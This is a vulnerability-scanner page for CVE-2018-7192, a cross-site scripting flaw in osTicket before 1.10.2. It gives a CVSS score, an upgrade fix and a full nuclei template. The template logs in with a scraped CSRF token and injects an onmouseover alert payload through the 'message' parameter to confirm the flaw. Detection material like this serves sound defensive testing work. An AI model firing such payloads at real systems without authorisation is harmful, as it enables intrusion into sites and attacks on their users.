osTicket < 1.10.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade osTicket to later version to mitigate this vulnerability.

How to confirm it

Send: GET /scp/login.php
Positive when: contains(tolower(body), "osticket")
Send: POST /scp/login.php ; GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%…
Positive when: contains(body, "dgh7r onmouseover=alert(document.domain) style=position:") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2018-7192 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7192

info:
  name: osTicket < 1.10.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7192
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7192
    cwe-id: CWE-79
    epss-score: 0.0202
    epss-percentile: 0.8111
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2018,osticket,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

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